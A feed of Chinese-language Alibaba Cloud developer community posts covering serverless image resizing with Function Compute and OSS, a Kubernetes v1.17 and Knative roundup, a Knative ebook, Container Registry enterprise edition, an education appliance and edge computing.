        预先为一份图像存放多份具有不同尺寸副本的行为,经常是通过 阿里云函数计算 FC 以及阿里云对象存储 OSS 两大产品实现的。用户事先为 FC 中的函数设置对象存储触发器,当在存储桶中创建了新对象(即 putObject 行为,此处指在 OSS bucket 中存放了图像),通过 OSS 触发器来触发函数对刚刚存放的图像进行处理,处理成不同尺寸的副本后,将这些副本存放进 OSS bucket。

        上述方法的特点是预先处理,如果要处理的图像尺寸较多,那么当图像数量非常大的时候,会占用很多存储空间。假设要处理的图像尺寸数目为 x、图像数量为 y、平均每份图像的大小为 z,那么要占用的存储空间为 x y z。

        动态调整图像大小
        为了避免无用的图像占用存储空间,可以使用动态调整图像大小的方法。在 OSS bucket 中预先只为每份图像存放一个副本,当前端根据用户设备的 media 信息来请求特定尺寸图像副本时,再生成相关图像。

        1.png

        步骤:

        1. 用户通过浏览器请求 OSS bucket 中特定的图像资源,假设为 800 * 600 的 image.jpg。
        2. OSS bucket 中没有相关的资源,将该请求重定向至生成特定尺寸图像副本的 api 地址。
        3. 浏览器根据重定向规则去请求调整图像大小的 api 地址。
        4. 触发函数计算的函数来执行相关请求。
        5. 函数从 OSS bucket 中下载到原始图像 image.jpg,根据请求内容生成调整后的图像,上传至 OSS bucket 中。
        6. 将请求重定向至图像在 OSS bucket 中的位置。
        7. 浏览器根据重定向规则去 OSS bucket 中请求调整大小后的图像。

        上述方法的特点是:

        1. 即时处理。
        2. 降低存储成本。
        3. 无需运维。

        实践

        1. 创建并配置 OSS

        • 在 OSS 控制台 中,创建一个新的 Bucket,读写权限选择公共读 (用于本教程示例,可之后更改)。

          2.png
        • 在 Bucket 的基础设置中,设置镜像回源。

          • 回源类型:重定向
          • 回源条件:HTTP 状态码 404
          • 回源地址:选择添加前后缀,并在回源域名中填写一个已接入阿里云备案的自定义域名。
          • 重定向 Code:302

        3.png

        2. 创建 FC 函数

        • 下载 serverless-image-on-the-fly 项目到本地

          git clone git@github.com:ChanDaoH/serverless-image-on-the-fly.git
        • 进入项目目录,执行 npm install
        • 填写 template.yml 文件中的相关内容:OSS_REGION、OSS_BUCKET_NAME、自定义域名
        ROSTemplateFormatVersion: '2015-09-01'
        Transform: 'Aliyun::Serverless-2018-04-03'
        Resources:
          serverless-image:
            Type: 'Aliyun::Serverless::Service'
            Properties:
              Description: This is serverless-image service
              Policies:
                - AliyunOSSFullAccess
            image-resize:
              Type: 'Aliyun::Serverless::Function'
              Properties:
                Handler: src/index.handler
                Runtime: nodejs10
                Timeout: 60
                MemorySize: 512
                CodeUri: ./
                EnvironmentVariables:
                  OSS_REGION: oss-cn-shanghai # oss region, such as oss-cn-shanghai、oss-cn-hangzhou
                  OSS_BUCKET_NAME: images-xxx # oss bucket name
              Events:
                httpTrigger:
                  Type: HTTP
                  Properties:
                    AuthType: ANONYMOUS
                    Methods:
                      - GET
                      - POST
          william.functioncompute.com: # domain name
            Type: 'Aliyun::Serverless::CustomDomain'
            Properties:
              Protocol: HTTP
              RouteConfig:
                routes:
                  '/*':
                    ServiceName: serverless-image
                    FunctionName: image-resize

        3. 测试动态调整图像

        • 在 OSS bucket 中上传一张图像,假设为 image.jpg

          4.png
        • 此时请求 https://{OSS_BUCKET_NAME}.{OSS_REGION}.aliyuncs.com/{width}*{height}/image.jpg。会有如下效果:

          1. 下载到指定 width * height 大小的 image.jpg。
          2. OSS bucket 中有 width * height 命名的目录,该目录下有 image.jpg。

        5.gif

        总结

        我们通过 FC + OSS 搭建了一个实时按需图像处理服务,该服务拥有以下特点:

        1. 即时处理
        2. 降低存储成本
        3. 无需运维

        资料

        1. 函数计算 Function Compute
        2. Aliyun Serverless VSCode 插件
        3. Fun

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        Kubernetes v1.17 版本解读 | 云原生生态周报 Vol. 31-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 |
        徐迪、李传云、黄珂、汪萌海、张晓宇、何淋波 、陈有坤、李鹏
        审核 | 陈俊

        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        上游重要进展

        1. Kubernetes v1.17 版本发布

        功能稳定性是第一要务。v1.17 包含 22 个增强功能14 个增强功能已逐渐稳定,4 个增强功能已进入 beta 版,4 个增强功能已进入 alpha 版本

        Major Theme

        • 云提供商标签达到 GA

        这个自 1.2 版本就引入的 label,在 1.17 版本终于 GA。之前旧的 label 已经被废弃掉:以下 3 个旧的 label 已经被废弃掉了:

        • Volume Snapshot 进入 beta

        在 1.12 版本中首次以 v1alpha 版本引入,在 1.13 中升级为 v2alpha(不兼容 v1alpha 版本),目前在 1.17 版本正式进入 beta 版;

        从 1.14 开始迁移 alpha。

        特性稳定

        将 kube-scheduler  所关心的 Node 状态从 Conditions(例如:OutOfDiskMemoryPressure)转化到 Taints。Taints 成为 kube-scheduler 判断 Node 状态的唯一来源,同时用户也可以在 Pod 上通过声明 Tolerations 来容忍调度到有这些 Taints 的节点。

        Pod 内所有容器共享 PID Namespace 特性 GA。该特性将方便 Pod 内进程信号传递(如 Sidecar 容器中的日志进程完成日志轮转后,通知业务容器进程使用新的日志)以及 Pod 内僵尸进程回收等。

        Damoneset 的 pod 的调度从 daemonset controller 迁移到 kube-scheduler 来做调度,从而支持 PodAffnity、PodAntiAffinit 等能力。

        该特性是为了支持调度感知单个 Node 上可以挂载的 Volume 个数的上限,且每个 Node 的上限可由存储插件自己动态设置。一般云厂商提供的云主机对某些存储卷(如块存储)能挂载的数量有限制,该特性支持调度器在选择 Node 时排除那些挂载的存储卷已经超过该 Node 支持的 Maximum Volume Count 的 Node 节点。

        通过 CSI 实现的存储插件支持存储拓扑调度感知特性,即可以通过 Pod 被调度到的 Node 对应的拓扑位置信息(如 Node 所属的 Region/Zone/Rack 等等)决定动态创建的云存储的拓扑位置,也可以通过 StorageClass 限制动态创建的存储的拓扑位置,还可以通过 Pod 使用的 PV 的拓扑限制决定 Pod 可被调度的 Node 节点。

        subPath 用在单个 Pod 多个容器或者一个容器中多个 mountPath 在共享同一个 volume 时以建子目录的方式在同一个 Volume 上做目录隔离。而 subPathExpr 字段可以从 Downward API 环境变量构造 subPath 目录名,可更加灵活地动态生成对应的子目录名。

        Custom Resource 目前缺乏 default 机制,而 default 值对 API 的兼容性影响重大。这个功能通过 OpenAPI v3 的校验机制来为 CRD 添加默认值。

        Lease api 进入 GA 阶段,kubelet 使用 lease api 周期性汇报心跳,相比 NodeStatus,lease 对象更小,可以降低 kube-apiserver 压力。

        kubernetes-test.tar.gz 之前打包内嵌了各个平台的二进制文件。现在发行的 Kubernetes-test 包将以平台为单位,分拆成多个包。

        kube-apiserver 通过增加 Bookmark 事件通知 watcher 服务器端当前最新 resourceVersion,可以降低 watcher 重启时对 kube-apiserver 造成的压力。

        一致性测试框架进行修改以支持定义行为测试。行为测试是一组基于经验,代码检查,API 模型为视角的测试定义。而测试本身是具体对行为进行验证。此功能让两者进行分离。

        增加 finalizer 去做 Load Balancer 类型的 Service 删除保护,确保 Service 这种资源对象在 Load Balancer 被摘除之后才能被删除。

        之前多个客户端 watch 同一个对象时,需要对同一个对象序列化多次,引入该特性后,同一个对象只需要序列化一次,在 5000 个节点的测试环境中,可以减少 5% 的 CPU 和 15% 的内存消耗。

        重要变化

        Add IPv4/IPv6 Dual Stack Support 添加 IPv4/IPv6 双协议栈支持。即允许将 IPv4 和 IPv6 地址分配给 Pods 和服务。预计会在 1.18 版本对 kube-proxy 支持 IPv4/IPv6 双协议栈,代码正在 review 中;

        其他重要特性

        2. Knative变更

        目前第一次启动时总是启动一个,用来检查用户代码是否正常工作,但在某些场景下不想启动任何实例。建议实现一个全局配置,并且可以在 revision 级别覆盖配置,如果不启动实例,则马上把状态设置为 ready,如果有流量过来按冷启动流程启动实例。

        还没有足够的理由添加这些属性。

        从 Broker/Trigger 模型中删除 ingress channel。当前 Broker 会创建 2 个 channels: trigger 和 ingress.  ingress channel 用于接收 trigger 的响应结果,然后发送给 ingress service. 但是目前看起来是额外的多了一跳,引入了延迟和可靠性的问题,比较好的方式是直接将响应结果发送给 ingress service.

        开源项目推荐

        1. dive

        一个 docker image 分析工具,帮助快速分析各 layer 的内容,有助于减小整个镜像的大小。

        2. amazon-vpc-cni-k8s

        aws 上基于 ENI 的网络插件。

        3. Draino

        负责 cordon 和 drain 节点,提供了 dry run 模式。

        4. Apache Dubbo-go

        dubbo 的 golang 实现。

        本周阅读推荐

        1. 《A visual guide on troubleshooting Kubernetes deployments》

        文章主要讲述了如何去定位一个 deployment 无法正常工作的问题。

        1. 《Kubernetes Audit: Making Log Auditing a Viable Practice Again》

        本文提出了一种 Kubernetes 自动化审计日志分析器的愿景,但这一愿景远不止于此。使用机器学习之类的工具甚至可以实时地自动检测日志中潜在的威胁。此外,以用户可理解的方式汇总审核日志中的信息,使审核员可以快速验证已识别的模式,并帮助调查其他隐藏的可疑活动。

        1. 《How Kubernetes Has Been "Transformational"  to Productivity and Culture at uSwitch》

        很多人开始尝试把业务迁移到 Kubernetes 上,那么 Kubernetes 到底能带来哪些改变呢?通过 uSwitch 的这个案例研究,可以给你带来不一样的思考。

        1. 《Building Large Kubernetes Clusters》
        2. 随着集群越来越多,集群的搭建和管理是个很头疼的问题。LINE 分享了自研的一套框架 Caravan。
        3. 《Kubernetes is the future of Computing. What You Should Know About the New Trend》

        越来越多的人开始使用 Kubernetes,有人说它是下一代的“操作系统”,“云计算的未来”。快通过这篇文章了解下这个大趋势吧。

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        开放下载 | 《Knative 云原生应用开发指南》开启云原生时代 Serverless 之门-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 knative海报.png

        点击下载《Knative 云原生应用开发指南》


        自 2018 年 Knative 项目开源后,就得到了广大开发者的密切关注。Knative 在 Kubernetes 之上提供了一套完整的应用 Serverless 编排服务,让应用开发者可以不用为底层的基础设施分心,把更多的精力投入到业务逻辑上。
        Knative 的一个很重要的目标就是制定云原生、跨平台的 Serverless 编排标准。它的优势在于:

        • 基于 Kubernetes 实现 Serverless 编排;
        • 基于 Istio 实现服务的接入、服务路由的管理以及灰度发布等功能。

        今年 5 月份,我们推出了 Knative 系列文章,由阿里云容器平台技术专家牛秋霖(冬岛)及阿里云容器平台高级开发工程师李鹏(元毅)结合自身的实践经验,由浅入深的介绍了 Knative 的使用、剖析其内部实现。

        为了进一步方便大家理解 Knative,我们整理了系列文章中的 25 篇重点内容编排成书《Knative 云原生应用开发指南》,并开放分享给大家,希望能够帮助更多技术爱好者快速掌握 Knative 的应用 Serverless 编排技能,揭开 Knative 的神秘面纱。

        为什么你要读这本书?

        对于开发者而言,本书可以让你快速掌握 Knative 的应用 Serverless 编排技能;对于管理者或决策者而言,可以通过本书的介绍和案例深入了解企业为什么需要应用的 Serverless 编排;如何对普通应用进行 Serverless 编排;应用编排和 IaaS 无服务器计算的关系以及为什么会是 Knative 等问题。

        本书主要分为入门、进阶和实战三个部分。

        • 入门篇可以帮助你快速掌握 Knative 的核心理念和关键设计,让你对应用的云原生编排应该具备什么能力有一个清晰的认识;
        • 进阶篇会对 Knative 各大核心模块的高级功能进行更深入的介绍,剖析 Knative 是如何构建在 Kubernetes 之上的;
        • 实战篇给出了很多基于 Knative 的云原生实战,让你对 Knative 的使用有一个更直观的体感。

        目录.png


        《Knative 云原生应用开发指南》目录 点击可查看大图

        在 All in Cloud 的时代,对云的驾驭能力已经成为企业的核心竞争力,云正在重塑企业 IT 架构。每个企业都在思考如何最大化利用“云”的能力,最大化发挥“云”的价值。而企业上云的过程中是要直接面对众多的云厂商和各种繁杂的云产品,比如最基本的 IaaS 资源,同样是 VM 在不同的云厂商就有不同的特性、不同的 OpenAPI 和不同的创建与销毁方式。

        这给企业上云带来了巨大的复杂度,大大打击了企业上云的积极性。所以对于上云的企业和提供云服务的厂商而言都在摸索寻找一个折中的平衡点,既能帮助企业上云,又能帮助云厂商释放云的能力。

        云原生理念的形成与完善

        云原生理念是在以上过程中逐渐形成和完善的。这套理念是协调所有参与方对服务上云逐渐形成的统一标准,它可以很好地帮助企业上云、帮助云厂商释放云的能力。云原生旨在以更标准化的方式衔接云厂商和上云企业:

        • 这种方式对于企业而言降低了上云和跨云的成本,让企业始终保有和云厂商议价的能力;
        • 对于云厂商而言,因为企业跨云迁移的成本低,所以只要能提供性价比更高的云服务,就能很容易的聚集大量用户。

        云原生是在不断促进整个系统的良性循环:既能让企业始终保有选择的能力,又能让优秀的云厂商快速服务更多的客户。如果客户的业务服务能像水一样低成本在不同云厂商之间流动,那么云厂商提供的服务就能像货币一样在客户之间流通。这是一个多赢的局面。

        Kubernetes 已经成为分布式资源调度和资源编排的事实标准,它屏蔽了底层基础架构的差异,帮助应用轻松运行在不同的基础设施之中。

        目前云原生生态已经在 Kubernetes 之上构建了大量的上层服务支撑框架。比如:服务网格 Istio、 Kubeflow 、各种上层服务的 Operator 等等。我们可以看到构建在 Kubernetes 之上的云原生操作系统的雏形开始出现,这是开发者最好的时代,极大地提升了业务创新的速度。

        无服务器(Serverless)的出现

        随着 Kubernetes 的普及,开发者已经不需要关心基础设施,有了更多的精力放在业务的核心逻辑上,随之而来的就是无服务器计算的出现。

        无服务器首先是在 IaaS 层的变革,用户无需提前准备冗余的 IaaS 资源,只需要在使用的时候自动扩容不用的时候自动缩容。因为应用真正需要的是 IaaS 资源的按需分配按量计费,而不是长期保有 IaaS 资源。

        无服务器这个词是从 Serverless 翻译过来的,其实 Serverless 除了基础 IaaS 资源的按量分配以外还有一层就是对应用的 Serverless 编排。

        Knative 出现的必然性

        IaaS 资源可以按需分配只是一个开始,当 IaaS 完成了 Serverless 进化以后,应用层应该如何做呢?比如:一个普通应用需要具备什么能力才能按量使用 IaaS 资源呢?对应用进行 Serverless 编排是否能保证应用可以很容易的在不同的云厂商之间跨云迁移?

        Knative 就是应用 Serverless 编排的云原生解决方案。

        Knative 建立在 Kubernetes 和 Istio 之上,通过 Kubernetes 的跨云能力能够让企业应用原生具备跨云迁移的能力。在多云、混合云以及云边端互通的时代,基于 Knative 的应用 Serverless 云原生编排能力可以极大降低企业上云的成本。

        云原生时代,如何在云上玩转 Knative?

        《Knative 云原生应用开发指南》一书中共收录了 8 篇具体的 Knative 开发实践案例,给出了很多基于 Knative 的云原生实战,借此讲述了如何正确使用 Knative 中的 Build、Serving 以及 Eventing 三大组件来发挥其作用,逐渐精简我们的代码;直观地展示了如何使用 Knative 来一步步简单高效地开发云原生应用,让你对通过  Knative 来实践 Serverless 有一个更全面的体感。

        期待《Knative 云原生应用开发指南》能够帮助更多的开发者真正开启云原生时代的 Serverless 之门,轻松解决迎面难题,避免踩坑!

        点击下载《Knative 云原生应用开发指南》

        knative海报.png

        ]]>
        快速搭建 Serverless 在线图片处理应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:倚贤

        首先介绍下在本文出现的几个比较重要的概念:

        函数计算(Function Compute):函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息参考

        ImageMagick:ImageMagick 是一个用于查看、编辑位图文件以及进行图像格式转换的开放源代码软件套装。它可以读取、编辑超过100种图象格式。。参见维基百科词条

        ImageMagick 是图片处理的利器,借助 ImageMagick 可以轻松实现图片的裁剪和缩放。虽然很多语言都封装了 ImageMagick 的调用库,但是把图片处理功能和核心业务功能放在同一个服务内,在软件架构上往往不适合。有如下两方面的原因:

        一方面,图片处理依赖外部的 bin,已经编译好的二级制不具备可移植性,给打包发布带来了麻烦。另一方面,图片处理往往是比较耗费计算资源的,对于大多数业务系统来说图片处理属于边缘业务,而非核心业务,所以为整个服务预留较多的计算资源是不划算的。更好的选择是把图片处理类业务以微服务的形式切分出来,部署在具备弹性的底层服务之上。对于此类技术需求, Serverless 是非常切合的。

        本文重点介绍如何快速地在函数计算平台上部署一个弹性高可用的图片处理服务,然后在此基础上轻松的定制化。

        快速开始

        下面我们借助于函数计算的应用中心,快速地将图片转换服务给部署出来。

        1. 打开函数计算 Image Resizer 应用详情页。如果您尚未开通函数计算服务可能需要先,开通服务是免费的,另外函数计算有每月免费额度,试用服务不会产生费用。


        1.png

        1. 滚动到Image Resizer 应用详情页的最底部,点击“立即部署”按钮。


        2.png

        1. 填写应用名称:my-image-resizer,然后点击“部署”按钮。


        3.png

        1. 拷贝 HttpTriggerEndpoint 里的网址。


        4.png

        1. 在浏览器里打开上面的网址,或者通过 curl 进行调用。注意:由于没有绑定域名,所以应用中心会默认下载而不是直接在浏览器里打开图片。
        curl 'https://xxxxx.cn-shanghai.fc.aliyuncs.com/2016-08-15/proxy/my-image-resizer-ResizeService-5A40B5A8B981/my-image-resizer-ResizeFunction-3E71C57C0094/' --output resized.jpg

        工作原理

        这是一个单函数结合 Http Trigger 的应用。Http Trigger 以 HTTP GET 方法对外暴露服务,客户端传递三个请求参数:url、width 和 height。其中

        • url 表示需要进行处理的源图片地址
        • width 表示裁剪或缩放后的图片宽度
        • height 表示裁剪的图片宽度。该参数缺失时,表示采用缩放的方式调整图片。

        该应用的架构图如下:

        6.jpg

        FC 函数接受到 HTTP 请求之后,执行如下三个步骤:

        1. 把 url 指向的图片下载下来
        2. 使用 imagemagick 进行图片转换
        3. 将图片通过 http 协议返回给客户端

        上面我们通过了函数计算的应用中心快速上线了一个图片转换的服务。函数计算是按照调用次数收费的,所以上述服务即使保持在线也不会产生费用。而又因为函数计算每月有免费的额度,所以日常开发的调用也不会产生费用。

        定制化开发

        依赖工具

        本项目是在 MacOS 下开发的,涉及到的工具是平台无关的,对于 Linux 和 Windows 桌面系统应该也同样适用。在开始本例之前请确保如下工具已经正确的安装,更新到最新版本,并进行正确的配置。

        Fun 工具依赖于 docker 来模拟本地环境。

        对于 MacOS 用户可以使用 homebrew 进行安装:

        brew cask install docker
        brew tap vangie/formula
        brew install fun

        Windows 和 Linux 用户安装请参考:

        1. https://github.com/aliyun/fun/blob/master/docs/usage/installation.md

        安装好后,记得先执行 fun config 初始化一下配置。

        注意, 如果你已经安装过了 funcraft,确保 funcraft 的版本在 3.1.3 以上。

        $ fun --version
        3.1.3

        初始化

        git clone https://github.com/vangie/fc-image-resizer
        cd fc-image-resizer

        安装依赖

        npm install

        本地运行

        $ fun local start
        using template: .fun/build/artifacts/template.yml
        HttpTrigger httpTrigger of ResizeService/ResizeFunction was registered
                url: http://localhost:8000/2016-08-15/proxy/ResizeService/ResizeFunction
                methods: [ 'GET' ]
                authType: ANONYMOUS
        
        
        function compute app listening on port 8000!

        然后使用浏览器或者 curl 调试网址 http://localhost:8000/2016-08-15/proxy/ResizeService/ResizeFunction

        部署

        fun deploy

        为了获得更好的开发体验,建议安装 Aliyun Serverless VSCode Extension

        参考链接

        1. Funcraft
        2. Aliyun Serverless VSCode Extension

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        容器镜像服务企业版发布,更强更安全-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        【容器镜像是什么】

        说到容器镜像,相信大家都已经很熟悉了。它是一种标准化的交付方式,将应用的代码以及代码环境依赖都打包在一起,成为一个与环境无关的交付物,可以被用在软件生命周期的任何阶段,彻底改变了传统的软件交付方式。

        【容器镜像服务的数字】

        在公共云上,阿里云容器镜像服务 是目前【国内最大的镜像服务】提供商。我们在阿里云全球地域提供服务,存储了【几十万】的容器镜像,支撑了【上亿】的镜像下载量,为您的应用镜像保驾护航。

        【容器镜像服务-共享版】

        容器镜像服务提供【公网、VPC网络、经典内网】三种访问入口,提供稳定的构建服务,支持镜像的细粒度安全扫描和便捷的镜像分享授权。此外,容器镜像无缝集成容器服务等云产品,输出云端DevOps的整套完整解决方案,帮助您提速产品的创新迭代。

        目前,容器镜像服务是一个免费的公共云服务, 欢迎各位容器开发者把应用镜像托管上来,体验容器技术带来的敏捷变革。

        【容器镜像服务-企业版】

        容器镜像服务-企业版,具备更强的安全及镜像分发能力:适合拥有安全需求较高且拥有大规模节点的企业级客户。

        在镜像安全部分,提供 [独享的OSS存储],支持镜像加密存储特性。提供VPC、公网、内网访问白名单,需要开启访问且设置白名单后,才能访问到企业版镜像。进一步保障您镜像的存储及访问的多方安全。

        在镜像分发部分,支持P2P镜像加速,提供大规模集群节点的并发拉取能力,保障您业务的极速部署,解决大镜像分发难、多节点拉取慢的难题。

        试用体验容器镜像产品
        https://www.aliyun.com/product/acr
        点击了解阿里云新品发布会
        https://promotion.aliyun.com/ntms/act/cloud/product.html

        ]]>
        产教结合、硬软一体,阿里云教育一体机发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云教育一体机,基于云原生开发服务(阿里云容器服务Kubernetes)和移动开发服务(EMAS),为高校学生量身定制了一系列课程及实验,将前沿科技的理论和最佳实践引入高校,以软件硬件于一体的交付方式为教育行业提供解决方案。产品旨在缩小高校在人才培养侧和市场需求侧在结构、质量、水平存在的差异。

        云技能gap或将成为危机?
        云计算自2006年起逐步被企业应用,为各行各业提供了业务支撑,至今IT系统云化成为了重要发展趋势。随着大型分布式系统兴起,更多的新技术不断涌现,深度学习、区块链、容器技术、无服务化、数字孪生、边缘计算及认知计算等等。
        越来越多的企业尝试通过云原生技术把传统的IT‘遗产’搬移到云上,这意味着各种挑战,其中之一就是人才缺口。根据IDC发布的《2019年全球CIO议程预测》,公司亟需各类新兴技术的优秀人才,其中30%岗位在2022年前都将是空缺状态。OpsRamp曾经对百余位大中型公司的IT经理及以上级别的人进行了调查,94%认为寻找到具备需求技术和商业技能的人才并不容易, 超过30%认为如今人才池尚不能喂饱企业对云原生技术的需求。
        而另一方面, 2019届毕业生预计834万人为近10年新高值,就业创业形势不可谓不严峻。离开校园走入职场,学子们面临着角色转化,需要快速跨越从课堂理论到实际运用的鸿沟。在麦可思研究院发布的就业蓝皮书报告中显示,毕业生就业满意度为67%,其中软件工程、网络工程等连续三届保持较高就业率。
        云计算普惠,我们能做哪些?
        阿里云教育一体机源于一个思考,我们能否将当下主流的云计算知识带进校园,并为学子们提供包含理论课程、动手实验、软件环境和硬件机器的整套‘云实验室’。

        image


        教育一体机硬件为标准机柜,具备两个规格半配和满配, 包含D13/12服务器5台或10台,分别可以满足30人或60人在线研发学习。
        底层软件环境基于三款阿里云产品:飞天敏捷版容器平台、移动研发平台EMAS、CodePipeline。其中飞天敏捷版是国内唯一具有全商业版支持能力的容器云平台,可部署在自有数据中心、提供开放的接口、更提供了混合云管理模式,让用户轻松管理运行环境。而EMAS是阿里巴巴移动互联网近十年的技术积累,沉淀了基础设施及组件服务能力、DevOps研发支撑能力、移动App基础中间件能力以及工程理念,完整覆盖了研发、测试、发布、运维和运营五大生命周期,包括天猫、优酷、钉钉、盒马等上百款阿里巴巴APP产品均使用了EMAS。Codepipeline是一款提供持续集成/持续交付能力,并完全兼容Jenkins的能力和使用习惯的SaaS化产品。方便在云端实现从代码到应用的持续集成和交付,方便快速的对产品进行功能迭代和演进。
        目前教育一体机设置了六门课程:《Andorid开发》、《移动DevOps技术》、《容器技术》、《DevOps技术》、《区块链技术》、《机器学习与深度学习》。每门课程都有理论课和实验课组成。

        image


        我们选取了主流的云计算技术,并贴合学生视角撰写教材,下图取自《机器学习与深度学习》一节理论课程。

        image


        设立实验课的初衷,是希望让学生们可以学练结合,提前熟悉企业真实环境中会使用的工具及相关流程操作。下面是《DevOps技术》的实验目录:

        image


        阿里云在技术领域有着近十年的积累,教育一体机基于阿里云容器、CodePipeline及EMAS三款企业级产品的强大技术支撑,提供云原生开发实验环境,并实现了硬件软件的一体化交付。
        我们期待把最新的云计算技术带进高校课堂,实现课堂理论与实际运用融会贯通,为更多学子就业加码。

        教育一体机发布会:点击观看直播

        教育一体机专题页:把云计算技术带进校园,为学子提供云原生实验环境

        点击了解阿里云新品发布会
        https://promotion.aliyun.com/ntms/act/cloud/product.html

        ]]>
        阿里云杨敬宇:四层技术构建基于城市场景的边缘计算-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 12月11日,阿里云边缘计算技术负责人杨敬宇在2019亚太内容分发大会上表示:在未来,边缘计算主要是以地市、区县为单位开展,面向城市服务的交通、医疗、健康、教育、新零售等场景提供算力基础。阿里云认为边缘计算就是城市计算,我们将围绕城市场景去建设边缘计算基础设施和灵活易用的上层操作系统。

        IMG_2695.JPG

        产业互联网、5G、AI与边缘计算

        在过去25年,行业应用主要是集中在消费互联网领域,在技术层面大部分采用云-端二体网络架构支撑,这是一种趋于集中生产分散消费的模式。而随着5G、IoT等技术的革新,沉浸式消费体验来临,产业互联网也迎来发展机遇。计算不仅发生在中心,在远离中心靠近用户的边缘侧(如摄像头、传感器、IoT设备)也出现大量的计算需求,所以传统的云-端二体网络架构已经无法满足应用需求,信息架构需要由原来的辐射性架构演变成对等架构,来适应分散生产分散消费模式,因此边缘计算应运而生。

        实际上4G网络大部分是以省为单位来构建的,固网和移动网络在省域汇聚和互访。而5G来临之后会发生很大变化。如果把通信管道比作高速公路,5G有一个非常重要的特征,它允许边缘分流,这就相当于在高速公路建服务区,也就是说通信管道上的信息流可以在旁路出来;另外, 5G网络切片云就如同高速公路上的车道,把路按速度和服务质量进行划分;同时,5G下的MEC促使固网和移动网络可以在区县一级打通,它改变了原来的互联网通信结构,为离用户更近的边缘计算基础设施提供了技术可能性。

        A7467FC2-4539-4392-98B2-39A71EA67F73.png

        每一次技术革命都会带来一波超级应用,边缘计算的来临,将使得万物智联带来的海量数据处理和边缘实时感知等诉求得以有效解决,进而驱动AI的应用,比如智能家居、智慧城市、自动驾驶等等场景。在大视频领域,超高清、强互动、VR/AR也会真正走进大众生活。

        杨敬宇认为:产业互联网、5G、MEC为边缘计算提供了市场与技术的可能性,而AI和视频应用将是未来边缘计算第一站的落地场景。

        阿里云的边缘计算到底做什么?

        阿里云过去十年一直专注于云计算领域,基础设施遍布19个地理区域内56个可用区,拥有2800+ 全球CDN节点。早在2016年,阿里云就开始研发边缘计算产品和技术。2018年3月,阿里云正式宣布战略投入边缘计算技术领域,依托于云计算、大数据、人工智能、IoT等领域的先发优势,已经构建了完整的云边端一体化协同体系。通过阿里巴巴丰富的生态系统与视频处理技术、达摩院AI能力进行进一步融合,阿里云边缘计算在电商、物流、新零售、文娱、在线教育等众多领域具备丰富的商业化实践。

        杨敬宇表示:当5G来临,各行业的应用架构,从硬件、芯片、网络、中间件到应用服务都将迎来变革,所有技术都要向边缘演进。而边缘计算主要是以地市、区县为单位开展的面向城市服务的交通、医疗、健康、教育的场景,阿里云认为边缘计算就是城市计算,未来也将主要围绕城市单元去开展边缘计算业务。

        屏幕快照 2019-12-12 下午1.55.04.png

        想要解决交通、医疗、健康、新零售这类场景的业务诉求,有两种解决思路,一种把计算设施放在商超、工厂、企业里,这种称之为重资产模式;另外一种是云模式,把计算设施放在基站以上并向企业提供服务。阿里云在布局边缘计算的时候重点依托CDN的点位优势布局基站以上的边缘计算,后续通过引入MEC资源,充分释放计算红利,让企业可以轻装上阵。目前,阿里云已经完成国内30多个省份300+边缘计算节点的全域覆盖。

        边缘计算四层技术栈:硬件、操作系统、中间件、应用和服务

        杨敬宇讲到:阿里云城市计算技术布局包含四层技术栈,一是边缘硬件和芯片,二是边缘计算平台或者边缘计算操作系统,三是边缘中件间,四是面向边缘的应用或者服务。

        在芯片/设备方面,阿里云边缘计算采用通用芯片、专用芯片和自研芯片解决未来面向场景的边缘计算成本问题;在边缘计算平台方面,阿里云着重打造边缘操作系统,提供三种计算形态(虚机、容器、函数)和三种交付形态(Server、Serverlet、Serverless),为客户营造一个利于使用的计算环境;对于边缘中间件,阿里云要从原本“内容分发的调度”转变为“计算的调度”,同时叠加AI、存储等新技术,逐步形成面向城市应用场景的独特中间件能力;至于上层的边缘应用及服务,则需要结合阿里巴巴集团商业生态和垂直行业伙伴共同推动技术进步。

        未来阿里云边缘计算操作系统会把解决计算在哪里、如何简化计算的复杂度、如何更便捷地运维分布式计算资产等问题会作为核心目标,客户的开发人员只需要简单地调用接口,就可以使用广泛地使用边缘计算策略,而不用担心部署和计算在哪里的问题。杨敬宇认为未来边缘计算服务提供商一定是来解决融合、开放、集成、按需的问题,更高层次的赋能客户。各种产业应用发展起来,应用层不应该关心底层细节,不然整个发展会有大的掣肘。

        屏幕快照 2019-12-12 下午1.51.47.png

        同时,阿里云边缘计算也不是孤立的,它会和云、端形成一体化的协同模式,同时开放API,努力赋能上层应用生态,与合作伙伴一同推进产业发展。

        边缘计算在新零售、城市大脑场景的应用实践

        过去一年,阿里云和盒马在边缘计算领域做了很多尝试。通过将摄像头、传感器接入边缘节点进行实时的视频结构化和数据汇总分析,盒马门店实现了生产安全监控、防盗损、门店督导的新效能,提升了生产安全和规范性。边缘计算可以为门店、物流点提供防盗损安防视频解决方案,低成本接入不同厂商设备,提供实时预览、录制回看、截图、分析等能力,实现了视频安防云联网,提高监管人员工作效率,促进生产安全,减少盗损资产损失,同时边缘计算提供的高性价比视频AI计算能力,支持计算资源弹性扩容满足业务突发增长,降低了本地盒子或一体机方案带来的大量本地部署、运维和管理成本。

        屏幕快照 2019-12-12 下午1.56.49.png

